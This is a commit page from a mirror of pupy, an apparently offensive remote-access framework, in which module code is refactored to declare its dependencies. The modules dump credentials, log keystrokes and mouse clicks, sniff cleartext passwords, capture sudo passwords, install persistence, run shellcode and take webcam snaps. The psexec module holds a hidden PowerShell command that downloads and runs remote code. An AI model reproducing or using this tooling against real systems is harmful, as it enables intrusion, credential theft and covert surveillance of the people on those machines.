Rooba
/
pupy
mirror of https://github.com/n1nj4sec/pupy.git
1
1
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Use 'dependencies' as much as possible

This commit is contained in:
Oleksii Shevchuk 2017-01-06 17:25:30 +02:00
parent 7dbfb5ae98
commit b732a93488
32 changed files with 186 additions and 170 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
pupy/modules/cat.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="cat"
@ -7,13 +7,13 @@ __class_name__="cat"
class cat(PupyModule):
""" show contents of a file """
is_module=False
dependencies = [ 'pupyutils.basic_cmds' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="cat", description=self.__doc__)
self.arg_parser.add_argument('path', type=str, action='store')
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
r=self.client.conn.modules["pupyutils.basic_cmds"].cat(args.path)
r = self.client.conn.modules["pupyutils.basic_cmds"].cat(args.path)
if r:
self.log(r)

5
pupy/modules/cd.py
View File

@ -8,12 +8,13 @@ class cd(PupyModule):
""" change directory """
is_module=False
dependencies = ['pupyutils.basic_cmds']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="cd", description=self.__doc__)
self.arg_parser.add_argument('path', type=str, nargs='?', help='path of a specific directory')
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
r=self.client.conn.modules["pupyutils.basic_cmds"].cd(args.path)
r = self.client.conn.modules["pupyutils.basic_cmds"].cd(args.path)
if r:
self.log(r)

7
pupy/modules/check_vm.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
import os
from modules.lib.windows.powershell_upload import execute_powershell_script
@ -10,6 +10,10 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
class CheckVM(PupyModule):
""" check if running on Virtual Machine """
dependencies = {
'linux': ['checkvm']
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="CheckVM", description=self.__doc__)
@ -23,7 +27,6 @@ class CheckVM(PupyModule):
else:
self.success("No virtual machine detected")
elif self.client.is_linux():
self.client.load_package("checkvm")
vm = self.client.conn.modules["checkvm"].checkvm()
if vm:
self.success('This appears to be a %s virtual machine' % vm)

7
pupy/modules/cp.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="cp"
@ -8,13 +8,14 @@ class cp(PupyModule):
""" copy file or directory """
is_module=False
dependencies = [ 'pupyutils.basic_cmds' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="cp", description=self.__doc__)
self.arg_parser.add_argument('src', type=str, action='store')
self.arg_parser.add_argument('dst', type=str, action='store')
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
r=self.client.conn.modules["pupyutils.basic_cmds"].cp(args.src, args.dst)
r = self.client.conn.modules["pupyutils.basic_cmds"].cp(args.src, args.dst)
if r:
self.log(r)

6
pupy/modules/creddump.py
View File

@ -37,9 +37,12 @@ __class_name__="CredDump"
@config(cat="creds", compatibilities=['windows', 'linux', 'darwin'], tags=['creds',
'credentials', 'password', 'gather', 'hives'])
class CredDump(PupyModule):
""" download the hives from a remote windows system and dump creds """
dependencies = {
'linux': [ 'pupyutils.safepopen' ]
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='hive', description=self.__doc__)
@ -112,7 +115,6 @@ class CredDump(PupyModule):
except Exception as e:
self.error('/etc/shadow is not accessible: {}'.format(e))
self.client.load_package('pupyutils.safepopen')
sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen
try:

3
pupy/modules/dns.py
View File

@ -7,12 +7,13 @@ __class_name__="DNS"
class DNS(PupyModule):
""" retrieve domain name from IP and vice versa """
dependencies = [ 'pupyutils.dns' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="dns", description=self.__doc__)
self.arg_parser.add_argument('ip_or_domain', type=str, help='Domain name or IP address')
def run(self, args):
self.client.load_package("pupyutils.dns")
functions = self.client.conn.modules["pupyutils.dns"].launch_dns_ip_resolver(args.ip_or_domain)
for function in functions:
if functions[function]['result']:

1
pupy/modules/get_info.py
View File

@ -33,7 +33,6 @@ class GetInfo(PupyModule):
infos.append((k,self.client.desc[k]))
if self.client.is_windows():
self.client.load_package("pupwinutils.security")
for k in windKeys:
infos.append((k,self.client.desc[k]))

5
pupy/modules/getdomain.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="GetDomain"
@ -7,11 +7,12 @@ __class_name__="GetDomain"
class GetDomain(PupyModule):
""" Get primary domain controller """
dependencies = [ 'pupwinutils.getdomain' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="getdomain", description=self.__doc__)
def run(self, args):
self.client.load_package("pupwinutils.getdomain")
primary_domain = self.client.conn.modules["pupwinutils.getdomain"].get_domain_controller()
if not primary_domain:
self.error("This host is not part of a domain.")

6
pupy/modules/getpid.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
from pupylib.utils.rpyc_utils import obtain
from modules.lib.utils.shell_exec import shell_exec
@ -9,13 +9,15 @@ __class_name__="PsModule"
@config(cat="admin")
class PsModule(PupyModule):
""" list process information """
dependencies = {
'windows': [ 'pupwinutils.processes' ]
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="getpid", description=self.__doc__)
def run(self, args):
if self.client.is_windows():
self.client.load_package("pupwinutils.processes")
outputlist=self.client.conn.modules["pupwinutils.processes"].get_current_pid()
outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster
for out in outputlist:

7
pupy/modules/getppid.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
from pupylib.utils.rpyc_utils import obtain
from modules.lib.utils.shell_exec import shell_exec
@ -10,12 +10,15 @@ __class_name__="PsModule"
class PsModule(PupyModule):
""" list parent process information """
dependencies = {
'windows': [ 'pupwinutils.processes' ]
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="getppid", description=self.__doc__)
def run(self, args):
if self.client.is_windows():
self.client.load_package("pupwinutils.processes")
outputlist=self.client.conn.modules["pupwinutils.processes"].get_current_ppid()
outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster
for out in outputlist:

5
pupy/modules/getuid.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="getuid"
@ -7,11 +7,10 @@ __class_name__="getuid"
class getuid(PupyModule):
""" get username """
is_module=False
dependencies = [ 'pupyutils.basic_cmds' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="getuid", description=self.__doc__)
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
self.success(self.client.conn.modules["pupyutils.basic_cmds"].getuid())

11
pupy/modules/interactive_shell.py
View File

@ -96,6 +96,11 @@ class InteractiveShell(PupyModule):
pipe = None
complete = Event()
dependencies = {
'windows': [ 'winpty.dll', 'winpty' ],
'all': [ 'ptyshell' ],
}
def __init__(self, *args, **kwargs):
PupyModule.__init__(self,*args, **kwargs)
self.set_pty_size=None
@ -225,12 +230,6 @@ class InteractiveShell(PupyModule):
sys.stdout.write('\r\nPress Enter to close to REPL\r\n')
def raw_pty(self, args):
if self.client.is_windows():
self.client.load_dll('winpty.dll')
self.client.load_package('winpty')
self.client.load_package("ptyshell")
ps = self.client.conn.modules['ptyshell'].PtyShell()
program = None

16
pupy/modules/keylogger.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
import StringIO
import SocketServer
@ -21,8 +21,13 @@ class KeyloggerModule(PupyModule):
The clipboard is also monitored and the dump includes the window name in which the keys are beeing typed
"""
#max_clients=1
daemon=True
unique_instance=True
daemon = True
unique_instance = True
dependencies = {
'windows': [ 'pupwinutils.keylogger' ],
'linux': [ 'keylogger' ],
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='keylogger', description=self.__doc__)
self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
@ -31,11 +36,6 @@ class KeyloggerModule(PupyModule):
self.success("keylogger stopped")
def run(self, args):
if self.client.is_windows():
self.client.load_package("pupwinutils.keylogger")
else:
self.client.load_package("keylogger")
if args.action=="start":
if self.client.is_windows():
with redirected_stdio(self.client.conn): #to see the output exception in case of error

7
pupy/modules/ls.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="ls"
@ -8,15 +8,14 @@ class ls(PupyModule):
""" list system files """
is_module=False
dependencies = [ 'pupyutils.basic_cmds', 'scandir' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="ls", description=self.__doc__)
self.arg_parser.add_argument('path', type=str, nargs='?', help='path of a specific file')
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
self.client.load_package("scandir")
info, r = self.client.conn.modules["pupyutils.basic_cmds"].ls(args.path)
if r:
self.success(info)
self.log(r)

5
pupy/modules/mimikatz_powershell.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
import os
import re
@ -14,6 +14,8 @@ class Mimikatz_Powershell(PupyModule):
execute mimikatz using powershell
"""
dependencies = ['pupwinutils.wdigest']
def init_argparse(self):
commands_available = '''
@ -30,7 +32,6 @@ Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
# for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz.
if args.wdigest:
self.client.load_package("pupwinutils.wdigest")
ok, message = self.client.conn.modules["pupwinutils.wdigest"].wdigest(args.wdigest)
if ok:
self.success(message)

9
pupy/modules/mkdir.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="mkdir"
@ -6,14 +6,15 @@ __class_name__="mkdir"
@config(cat="admin")
class mkdir(PupyModule):
""" create an empty directory """
is_module=False
dependencies = [ 'pupyutils.basic_cmds' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="mkdir", description=self.__doc__)
self.arg_parser.add_argument('dir', type=str, help='directory name')
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
r=self.client.conn.modules["pupyutils.basic_cmds"].mkdir(args.dir)
r = self.client.conn.modules["pupyutils.basic_cmds"].mkdir(args.dir)
if r:
self.log(r)

11
pupy/modules/mouselogger.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
@ -26,8 +26,9 @@ class MouseLoggerModule(PupyModule):
""" log mouse clicks and take screenshots of areas around it """
# WARNING : screenshots are kept in memory before beeing dumped
#TODO change that and add a callback to automatically send back screenshots without need for dumping
daemon=True
unique_instance=True
daemon = True
unique_instance = True
dependencies = [ 'pupwinutils.mouselogger' ]
def __init__(self, *args, **kwargs):
PupyModule.__init__(self, *args, **kwargs)
@ -46,7 +47,6 @@ class MouseLoggerModule(PupyModule):
except Exception:
pass
if args.action=="start":
self.client.load_package("pupwinutils.mouselogger")
if self.mouselogger:
self.error("the mouselogger is already started")
else:
@ -76,6 +76,3 @@ class MouseLoggerModule(PupyModule):
elif args.action=="stop":
self.mouselogger.stop()
self.job.stop()

10
pupy/modules/mv.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="mv"
@ -6,7 +6,9 @@ __class_name__="mv"
@config(cat="admin")
class mv(PupyModule):
""" move file or directory """
is_module=False
is_module = False
dependencies = [ 'pupyutils.basic_cmds' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="mv", description=self.__doc__)
@ -14,7 +16,7 @@ class mv(PupyModule):
self.arg_parser.add_argument('dst', type=str, action='store')
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
r=self.client.conn.modules["pupyutils.basic_cmds"].mv(args.src, args.dst)
self.client.load_package("")
r = self.client.conn.modules["pupyutils.basic_cmds"].mv(args.src, args.dst)
if r:
self.log(r)

10
pupy/modules/netcreds.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
# Thanks to Dan McInerney for its net-creds project
# Github: https://github.com/DanMcInerney/net-creds
from pupylib.PupyModule import *
@ -13,9 +13,9 @@ class NetCreds(PupyModule):
"""
Sniffs cleartext passwords from interface
"""
daemon=True
unique_instance=True
dependencies=['scapy', 'gzip', 'BaseHTTPServer']
daemon = True
unique_instance = True
dependencies=[ 'scapy', 'gzip', 'BaseHTTPServer', 'pupyutils.netcreds' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='netcreds', description=self.__doc__)
@ -24,8 +24,6 @@ class NetCreds(PupyModule):
self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
def run(self, args):
self.client.load_package("pupyutils.netcreds")
if args.action=="start":
with redirected_stdio(self.client.conn): #to see the output exception in case of error
r = self.client.conn.modules["pupyutils.netcreds"].netcreds_start(args.interface, args.filterip)

5
pupy/modules/outlook.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):
@ -13,7 +13,7 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
@config(compat="windows", category="gather")
class Outlook(PupyModule):
""" interact with Outlook session of the targeted user """
dependencies=["win32api","win32com","pythoncom","winerror"]
dependencies=['outlook', 'win32api','win32com','pythoncom','winerror']
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
@ -37,7 +37,6 @@ class Outlook(PupyModule):
def run(self, args):
'''
'''
self.client.load_package("outlook")
localFolder=args.localOutputFolder
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'], self.client.desc['user'], self.client.desc['macaddr'].replace(':','')))
if not os.path.exists(self.localFolder):

8
pupy/modules/persistence.py
View File

@ -27,6 +27,12 @@ __class_name__="PersistenceModule"
@config(cat="manage", compat=['linux', 'windows'])
class PersistenceModule(PupyModule):
""" Enables persistence via registry keys """
dependencies = {
'linux': [ 'persistence' ],
'windows': [ 'pupwinutils.persistence' ]
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency', completer=path_completer)
@ -38,7 +44,6 @@ class PersistenceModule(PupyModule):
self.linux(args)
def linux(self, args):
self.client.load_package('persistence')
manager = self.client.conn.modules['persistence'].DropManager()
self.info('Available methods: {}'.format(manager.methods))
payload = get_payload(self, compressed=False)
@ -65,7 +70,6 @@ class PersistenceModule(PupyModule):
else:
exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf())
self.client.load_package("pupwinutils.persistence")
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
self.info("uploading to %s ..."%remote_path)
#uploading

7
pupy/modules/ps.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
from pupylib.utils.rpyc_utils import obtain
from modules.lib.utils.shell_exec import shell_exec
@ -9,13 +9,16 @@ __class_name__="PsModule"
class PsModule(PupyModule):
""" list processes """
dependencies = {
'windows': ['pupwinutils.processes']
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="ps", description=self.__doc__)
self.arg_parser.add_argument('--all', '-a', action='store_true', help='more info')
def run(self, args):
if self.client.is_windows():
self.client.load_package("pupwinutils.processes")
outputlist=self.client.conn.modules["pupwinutils.processes"].enum_processes()
outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster
columns=['username', 'pid', 'arch', 'exe']

11
pupy/modules/psexec.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
# Author: byt3bl33d3r and Shawn Evans
# Version used from the "rewrite" branch of smbexec written by byt3bl33d3r
from pupylib.PupyModule import *
@ -21,7 +21,8 @@ __class_name__="PSExec"
@config(cat="admin")
class PSExec(PupyModule):
""" Launch remote commands using smbexec or wmiexec"""
max_clients=1
max_clients = 1
dependencies = [ 'impacket', 'ntpath', 'calendar', 'pupyutils.psexec' ]
def init_argparse(self):
@ -128,12 +129,6 @@ class PSExec(PupyModule):
self.success('server started (pid: %s)' % process.pid)
args.command = 'powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString(\'http://%s:%s/eiloShaegae1\')"' % (ip, str(args.ps1_port))
self.info("Loading dependencies")
self.client.load_package("impacket")
self.client.load_package('ntpath')
self.client.load_package("calendar")
self.client.load_package("pupyutils.psexec")
with redirected_stdo(self.client.conn):
for host in hosts:
self.info("Connecting to the remote host: %s" % host)

20
pupy/modules/rdp.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
from pupylib.utils.rpyc_utils import redirected_stdio
from netaddr import *
@ -9,6 +9,13 @@ __class_name__="Rdp"
class Rdp(PupyModule):
""" Enable / Disable rdp connection or check for valid credentials on a remote host """
dependencies = {
'windows': [ 'pupwinutils.rdp' ],
'all': [
'pupyutils.rdp_check', 'impacket', 'calendar', 'OpenSSL'
]
}
def init_argparse(self):
example = 'Examples:\n'
@ -34,7 +41,6 @@ class Rdp(PupyModule):
remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection')
def run(self, args):
# TO DO: enable multi RDP session, see MIMIKATZ for example
if args.local:
@ -43,8 +49,6 @@ class Rdp(PupyModule):
self.error("This option could be used only on windows hosts")
return
self.client.load_package("pupwinutils.rdp")
# check if admin
if not self.client.conn.modules["pupwinutils.rdp"].check_if_admin():
self.error("Admin privileges are required")
@ -63,10 +67,8 @@ class Rdp(PupyModule):
hosts = list()
hosts.append(args.target)
self.client.load_package("pupyutils.rdp_check")
self.client.load_package("impacket")
self.client.load_package("calendar")
self.client.load_package("OpenSSL")
for host in hosts:
with redirected_stdio(self.client.conn):
self.client.conn.modules["pupyutils.rdp_check"].check_rdp(host, args.username, args.password, args.domain, args.hashes)
self.client.conn.modules["pupyutils.rdp_check"].check_rdp(
host, args.username, args.password, args.domain, args.hashes
)

9
pupy/modules/rm.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
__class_name__="rm"
@ -6,13 +6,14 @@ __class_name__="rm"
@config(cat="admin")
class rm(PupyModule):
""" remove a file or a directory """
is_module=False
is_module = False
dependencies = ['pupyutils.basic_cmds']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="rm", description=self.__doc__)
self.arg_parser.add_argument('path', type=str, action='store')
def run(self, args):
self.client.load_package("pupyutils.basic_cmds")
r=self.client.conn.modules["pupyutils.basic_cmds"].rm(args.path)
r = self.client.conn.modules["pupyutils.basic_cmds"].rm(args.path)
if r:
self.log(r)

9
pupy/modules/search.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
import os
from pupylib.utils.term import colorize
@ -8,7 +8,9 @@ __class_name__="SearchModule"
@config(cat="gather")
class SearchModule(PupyModule):
""" walk through a directory and recursively search a string into files """
daemon=True
daemon = True
dependencies = [ 'pupyutils.search', 'scandir' ]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="search", description=self.__doc__)
self.arg_parser.add_argument('--path', default='.', help='root path to start (default: current path)')
@ -18,9 +20,6 @@ class SearchModule(PupyModule):
self.arg_parser.add_argument('--content', action='store_true', help='check inside files (such as grep)')
def run(self, args):
self.client.load_package("pupyutils.search", force=True)
self.client.load_package("scandir")
if args.extensions:
args.extensions = tuple(f.strip() for f in args.extensions.split(','))
# if not extension is provided for find commad, try to extract it to gain time during the research

23
pupy/modules/shares.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
from netaddr import *
@ -8,6 +8,16 @@ __class_name__="Shares"
class Shares(PupyModule):
""" List local and remote shared folder and permission """
dependencies = {
'windows': [
'win32api', 'win32com', 'pythoncom',
'winerror', 'wmi', 'pupwinutils.drives',
],
'all': [
'impacket', 'calendar', 'pupyutils.share_enum'
]
}
def init_argparse(self):
example = 'Examples:\n'
example += '>> run shares local\n'
@ -35,15 +45,7 @@ class Shares(PupyModule):
try:
if args.local:
if self.client.is_windows():
self.client.load_package("win32api")
self.client.load_package("win32com")
self.client.load_package("pythoncom")
self.client.load_package("winerror")
self.client.load_package("wmi")
self.client.load_package("pupwinutils.drives")
print self.client.conn.modules['pupwinutils.drives'].shared_folders()
else:
self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1')
return
@ -63,9 +65,6 @@ class Shares(PupyModule):
print hosts
self.client.load_package("impacket")
self.client.load_package("calendar")
self.client.load_package("pupyutils.share_enum")
for host in hosts:
self.info("Connecting to the remote host: %s" % host)
print self.client.conn.modules["pupyutils.share_enum"].connect(

5
pupy/modules/shellcode_exec.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
'''
Module by @byt3bl33d3r
@ -12,12 +12,13 @@ __class_name__="ShellcodeExec"
class ShellcodeExec(PupyModule):
""" executes the supplied shellcode on a client """
dependencies = ['pupwinutils.shellcode']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='shellcode_exec', description=self.__doc__)
self.arg_parser.add_argument('path', help='Path to the shellcode to execute')
def run(self, args):
self.client.load_package("pupwinutils.shellcode")
with open(args.path ,'r') as sfile:
shellcode = sfile.read()
self.client.conn.modules['pupwinutils.shellcode'].exec_shellcode(shellcode)

9
pupy/modules/ssh.py
View File

@ -10,6 +10,10 @@ class SSH(PupyModule):
max_clients=1
dependencies = [
'paramiko', 'cryptography', 'ecdsa', 'ssh'
]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="ssh", description=self.__doc__)
self.arg_parser.add_argument('-u', '--user', default='', help='username')
@ -43,11 +47,6 @@ class SSH(PupyModule):
self.error(error)
return
self.client.load_package("paramiko")
self.client.load_package("cryptography")
self.client.load_package("ecdsa")
self.client.load_package("ssh")
error_code = False
result = ''

3
pupy/modules/sudo_alias.py
View File

@ -8,12 +8,13 @@ __class_name__="SudoAlias"
class SudoAlias(PupyModule):
""" write an alias for sudo to retrieve user password """
dependencies = ['sudo_alias']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="sudo_alias", description=self.__doc__)
self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
def run(self, args):
self.client.load_package("sudo_alias")
if args.action=="start":
if not self.client.conn.modules["sudo_alias"].sudo_alias_start():
self.error("the alias already exists")

13
pupy/modules/webcamsnap.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
@ -40,6 +40,11 @@ def pil_save(filename, pixels, width, height):
class WebcamSnapModule(PupyModule):
""" take a webcam snap :) """
dependencies = {
'android': [ 'pupydroid.camera' ],
'windows': [ 'vidcap' ]
}
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='webcam_snap', description=self.__doc__)
self.arg_parser.add_argument('-d', '--device', type=int, default=0, help='take a webcam snap on a specific device (default: %(default)s)')
@ -54,20 +59,16 @@ class WebcamSnapModule(PupyModule):
pass
filepath=os.path.join("data","webcam_snaps","snap_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
if self.client.is_windows():
self.client.load_package("vidcap")
dev=self.client.conn.modules['vidcap'].new_Dev(args.device,0)
self.info("device %s exists, taking a snap ..."%args.device)
buff, width, height = dev.getbuffer()
pil_save(filepath, buff, width, height)
elif self.client.is_android():
self.client.load_package("pupydroid.camera")
if args.nb_cameras == True:
print "[+] Number of cameras: {0}".format(self.client.conn.modules['pupydroid.camera'].numberOfCameras())
print "[+] Number of cameras: {0}".format(self.client.conn.modules['pupydroid.camera'].numberOfCamera)
data=self.client.conn.modules['pupydroid.camera'].take_picture(args.device, args.jpg_quality)
with open(filepath,"w") as f:
f.write(data)
if args.view:
subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath])
self.success("webcam picture saved to %s"%filepath)

7
pupy/modules/zip.py
View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
from pupylib.utils.rpyc_utils import redirected_stdio
@ -8,6 +8,10 @@ __class_name__="Zip"
class Zip(PupyModule):
""" zip / unzip file or directory """
dependencies = [
'pupyutils.zip'
]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="zip", description=self.__doc__)
self.arg_parser.add_argument('source', type=str, help='path of the source file or directory to zip')
@ -16,7 +20,6 @@ class Zip(PupyModule):
self.arg_parser.add_argument('-d', dest='destination', help='path of the destination file (default: current directory)')
def run(self, args):
self.client.load_package("pupyutils.zip")
with redirected_stdio(self.client.conn):
# zip
if not args.u: